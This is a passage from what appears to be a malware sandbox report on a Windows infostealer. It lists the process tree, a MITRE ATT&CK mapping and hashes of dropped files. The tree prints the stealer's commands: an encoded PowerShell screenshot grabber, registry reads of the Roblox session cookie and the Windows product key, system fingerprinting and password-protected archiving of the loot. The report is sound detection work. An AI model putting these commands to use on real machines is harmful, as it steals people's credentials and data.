gACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1984
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:636
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zxrlvrw3\zxrlvrw3.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2104
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESDFCC.tmp" "c:\Users\Admin\AppData\Local\Temp\zxrlvrw3\CSCC01BB2FF135946188BE52985C815815.TMP"
        6⤵
        
        PID:2124
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2260
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1164
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4056
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3952
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1584
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2428
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1928
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1512
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1464
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3896
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3224
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI000010382\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\h56r6.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1292
  - - C:\Users\Admin\AppData\Local\Temp\_MEI000010382\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI000010382\rar.exe a -r -hp"blank123" "C:\Users\Admin\AppData\Local\Temp\h56r6.zip" *
      4⤵
      Executes dropped EXE
      PID:4720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2360
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Suspicious use of AdjustPrivilegeToken
      PID:2868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3108
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Reads the TCP/IP host and domain name from the registry
      PID:1780
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:556
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2428
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Queries system WMI classes for hardware identifiers
      Reads the TCP/IP host and domain name from the registry
      PID:2400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1856
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:2904
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Reads the TCP/IP host and domain name from the registry
      Detects videocard installed
      PID:4800
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3232
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:1488

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Video Capture

T1125

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 f45b0efc0833020dfeeaad0adc8ed10b0f85e0bc491baf9e1a4da089636bccf5
MD5 8740e7db6a0d290c198447b1f16d5281
SHA1 ab54460bb918f4af8a651317c8b53a8f6bfb70cd
SHA512 d91fe9666c4923c8e90e5a785db96e5613b8cb3bf28983296a2f381ccdcd73d15254268548e156c8150a9a531712602313ba65f74cec5784341c8d66b088750b
TLSH
T1A871EF313375B0E888163F072D281AC053BF4355EA94AF5CB698625EDE2741B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 9e058905555242348650ecae8008fd39cf63bac0f3160637aab912fd54fd2578
MD5 990f2ad22e4ee8bb16d0e84568ff1c04
SHA1 8ee103c2c4969dd252d3f136479e718361e2ace2
SHA512 ab70a31915f4241c23a020a0e1c8ad5b2468c06911ceb4418b5377619953780f14070a2674858b1a7d999b356448ffdb51db6393e56f20defb291866383f5802
TLSH
T1CA112223F38C8920CC96563A509DAC5172B586CB81AEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8463291893639502ce888f82491df13cb07bc9364d14c66934ae0c1462114b86
MD5 ab4775648c80168d01771e1e115eead3
SHA1 bfec6c8f8655e660189b719d17c9253c2d50a8ea
SHA512 79a7ed62776b12d164b884a3a8a36016f44f5c7e671c7e6516489fae45fde6253801de6d706b0c56ed263a28c6493b35faa021a13cdef98beba995733e6cfd56
TLSH
T1BA216623B39C8921CC8A113A409DAC5032B583D741AEDE9FAFC4D604E17F588CB711D0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 e2bfe297b3850d88774e4b7ec99f914a4282adf30ece43d1289abe61232f7962
MD5 1e7f86aca3ca27b630175aec700790b4
SHA1 ac89767d9b55bb09d6f2160115d68cfc356ae4b4
SHA512 fe358c6a05a821d4ae47f9370c315c2ce584237a8cd0c04da7c01d88691e614e8ad8eb1f2d42c61df9b219aaa5ba34920ca30e8cf5695f6fafc74849e58e611b
TLSH
T129119323F3CC8A21CC96123A508D9C1076B282C7819ECF9FABC0C201A0BF588CB21190
MD5 SHA1 SHA512 TLSH

Submit Download

RESDFCC.tmp

Path C:\Users\Admin\AppData\Local\Temp\RESDFCC.tmp
Size 1KB
SHA256 0901862d00401e13d4c4954633e6665cc8d46711cfd5e97f04953f6c2d40f735
MD5 569da50309d29cc719ee2b14f0aed2ac
SHA1 a2308d308dbfb173cf3068c60fe7ca8b2fa68b18
SHA512 64dfac481706814219df335a36de0116922fabc067f95d3b57bcb52af41800d6383ae1ed54125ba704bc8c94dede0d55e3c6ffdb5ee9460d0d053dcd2b84dd16
TLSH
T1B521CC0443E9071FF4775731ADF6472FA224FDA4EFA2A39B8500022C1D52608EEA0FB2
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\VCRUNTIME140.dll
Size 106KB
SHA256 a8f950b4357ec12cfccddc9094cca56a3d5244b95e09ea6e9a746489f2d58736
MD5 4585a96cc4eef6aafd5e27ea09147dc6
SHA1 489cfff1b19abbec98fda26ac8958005e88dd0cb
SHA512 d78260c66331fe3029d2cc1b41a5d002ec651f2e3bbf55076d65839b5e3c6297955afd4d9ab8951fbdc9f929dbc65eb18b14b59bce1f2994318564eb4920f286
SSDEEP 1536:GcghbEGyzXJZDWnEzWG9q4lVOiVgXjO5/woecbq8qZHg2zuCS+zuecL:GV3iC0h9q4v6XjKwoecbq8qBTq+1cL
TLSH
T1A0B37C4A72A441F7C5AAD274C2E38A06FB71B541877093CF03B19A690F63BE15E3D356
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_bz2.pyd
Size 48KB
SHA256 1db14a217c5279c106b9d55f440ccf19f35ef3a580188353b734e3e39099b13f
MD5 554b7b0d0daca993e22b7d31ed498bc2
SHA1 ea7f1823e782d08a99b437c665d86fa734fe3fe4
SHA512 4b36097eddd2c1d69ac98c7e98eebe7bb11a5117249ad36a99883732f643e21ecf58e6bea33b70974d600563dc0b0a30bead98bafb72537f8374b3d67979e60a
SSDEEP 1536:MtiGgF1TxbYecfs2F876zpfImCVQj7SysPxJ:MkHz4LFPNImCVQjGxJ
TLSH
T1DD23D06386242C39ED239DB234C85C25EB30B9939850C3DF72AC91691F527417BE627E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_ctypes.pyd
Size 58KB
SHA256 5ee40bcaab13fa9cf064ecae6fc0da6d236120c06fa41602893f1010efaa52fe
MD5 d603c8bfe4cfc71fe5134d64be2e929b
SHA1 ff27ea58f4f5b11b7eaa1c8884eac658e2e9248b
SHA512 fcc0dbfbe402300ae47e1cb2469d1f733a910d573328fe7990d69625e933988ecc21ab22f432945a78995129885f4a9392e1cee224d14e940338046f61abe361
SSDEEP 1536:/UOlRJUIp/i+OnIlnGgm5XVz4iImLPAf7SyNlPx:MOpnomlnGgoXVUiImLPAfPZx
TLSH
T1B643E1D642A5DC2CDC67CFB038D95825FD31B1A3C7B087D73289C22A6F6039256963B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_decimal.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_decimal.pyd
Size 106KB
SHA256 677d9993bb887fef60f6657de6c239086ace7725c68853e7636e2ff4a8f0d009
MD5 9cef71be6a40bc2387c383c217d158c7
SHA1 dd6bc79d69fc26e003d23b4e683e3fac21bc29cb
SHA512 90e02054163d44d12c603debdc4213c5a862f609617d78dd29f7fd21a0bae82add4ceaf30024da681c2a65d08a8142c83eb81d8294f1284edfbeeb7d66c371c8
SSDEEP 3072:CNb2HcDjyP1iSYsEHOqLQb1H7wtDWPnyTm2GN4ImOqGCArxv:CNb2HeyiOrH0t6r2kC8
TLSH
T150B302C18376ACBCED77807232E11229FB7071A68850C7EB354DD216AF4538287E567B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_hashlib.pyd
Size 35KB
SHA256 b7c9c540d54ab59c16936e1639c6565cd35a8ca625f31753e57db9cbd0ee0065
MD5 32df18692606ce984614c7efda2eec27
SHA1 86084e39ab0aadf0ecfb82ce066b7bf14152961e
SHA512 679f8956370edc4dee32475d8440a2d2f9b6dd0edd0e033e49fed7834a35c7ed51ccde0995d19ed0a559a4383b99ae8c11e4e686902db12a2a5e0a3f2c0f4a9d
SSDEEP 768:a91cXZ8iY8JshuVLX7lB6IKpp5rbImOIta5YiSyvCKPxWE9:ajSYZhuN3QlrbImOIt47Sy7Px
TLSH
T1F3F2C0A381B0B864CA224DB234D4D525F736785399938BE7314DC1BA4FD2782EFA5338
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_lzma.pyd
Size 85KB
SHA256 a201ec286b0233644ae62c6e418588243a3f2a0c5a6f556e0d68b3c747020812
MD5 01629284f906c40f480e80104158f31a
SHA1 6ab85c66956856710f32aed6cdae64a60aea5f0f
SHA512 107a4e857dd78dd92be32911e3a574f861f3425e01ab4b1a7580ac799dc76122ce3165465d24c34ac7fc8f2810547ad72b4d4ba3de76d3d61ed9bf5b92e7f7d4
SSDEEP 1536:TwZh3A5zFTPuztVVQW1AyOXEyvYsnHUZK+K+k6Vvt7v/8ImZ1Lw7SyYAPxx3:kvA5utzWfXE0V0ZK+K+Jt7vUImZ1Lwtx
TLSH
T1968302670278C08CD4679D7221E8A5A6E670FE73875283FB3254817B0FB33D19A5327A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_queue.pyd
Size 25KB
SHA256 2163010bfde88a6cc15380516d31955935e243b7ad43558a89380bf5fe86337e
MD5 4a313dc23f9d0a1f328c74dd5cf3b9ab
SHA1 494f1f5ead41d41d324c82721ab7ca1d1b72c062
SHA512 42c712b758b35c0005b3528af586233298c2df4ed9f5133b8469bca9ec421ab151ce63f3929898c73d616cd9707594fa5f96d623fc150e214a4b2276c23c296e
SSDEEP 384:w0Psz9rLZgNhzHjlryUOy7s6Wp6hZa7gJXT7ImQUtNkHQIYiSy1pCQjtAPxh8E9s:GihFWRupD7ImQUtc5YiSyvxAPxWE9HJ
TLSH
T1D0C29EA342B8AC2CDD278EB134D44934FE30BDA7855183DB721C82764F6178267A2379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_socket.pyd
Size 43KB
SHA256 ddbfa852e32e20d67a0c3d718ce68e9403c858d5cad44ea6404aff302556aba7
MD5 67897f8c3262aecb8c9f15292dd1e1f0
SHA1 74f1ef77dd3265846a504f98f2e2f080eadbf58a
SHA512 200b6570db2fbb2eac7f51cae8e16ffb89cd46d13fba94a7729a675f10f4432fc89a256fd6bd804feac528191bd116407fd58a0573487d905fc8fca022c1abba
SSDEEP 768:EhFQ8MABQICFr2Tg+z2uPxYEV/WJqOxU/XNqppz7ImLwQFC5YiSyvLPxWE9dK:gTiFtipt/ML4NIz7ImLwQFg7SyTPxJK
TLSH
T16A13D0A743B05838DE374CB234E98D296F35F597899483D7329C81B64F513829FA23B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_sqlite3.pyd
Size 56KB
SHA256 30a3bc9ed8f36e3065b583d56503b81297f32b4744bff72dcf918407978ce332
MD5 230025cf18b0c20c5f4abba63d733ca8
SHA1 336248fde1973410a0746599e14485d068771e30
SHA512 2c4d943c6587d28763cf7c21ad37cc4762674a75c643994b3e8e7c7b20576d5674cf700fdfaddc1a834d9bf034bf2f449d95351c236fde720505ccdd03369bb1
SSDEEP 1536:F1OB9LTyHEhkBFl837aWkbKlujFImOQAO7SyuWPxJ:i/LTyHRTU1kuluZImOQAOfxJ
TLSH
T1E443D0E303BAAC24D53B88B235C50C29E6717A7A5B21C3EB326D91760F707816F65379
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ssl.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\_ssl.pyd
Size 62KB
SHA256 2fc63abe576c0d5fe031cf7ee0e2f11d9c510c6dbacfc5dd2e79e23da3650ee8
MD5 0d15b2fdfa03be76917723686e77823c
SHA1 efd799a4a5e4f9d15226584dd2ee03956f37bdaf
SHA512 e21ab5ebe8b97243cf32ca9181c311978e203852847e4beb5e6ada487038c37dec18a2b683e11e420e05ace014aca2172b2dda15930bab944053843e25623227
SSDEEP 1536:xzB+lCu0pTB1zYk0UdJSqtEZImC7b0E7SyZfPx:9cCu0pHzD0UFtWImC7bXbnx
TLSH
T12353F192476C5CAAD6338F7231C1DDB6FA31B9469FD68197300C93BE4B71382476226B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

base_library.zip

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\base_library.zip
Size 1.4MB
SHA256 d820100777707cb7e56de2656d59a5fd43cdf46e66882cc367c665dbe2d3993f
MD5 defcabb778138c866b3057c9ef8d7cb1
SHA1 e744ef3e92fc31efd53ed1ba291c07978a83984a
SHA512 b4e065388ca2dbb96921801adce1d18577d02caec60cfac12f29ffe03184e3fb1a09272bc681e78c019b1730fdb1f498fece97a1de4d3c61d478dbb2b9a9ccbc
SSDEEP 24576:5LFHHoxmlTL3cnz/bucEvUFi7scPYdYf8QR5pU0iwhe:hOxmYQR5pO7
TLSH
T1BE6509817982B5F7F804F3BB4026090DB328C5B4BB44C75739ABC1A69F9E6A47E518DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blank.aes

Path C:\Users\Admin\AppData\Local\Temp\_MEI000010382\blank.aes
Size 103KB
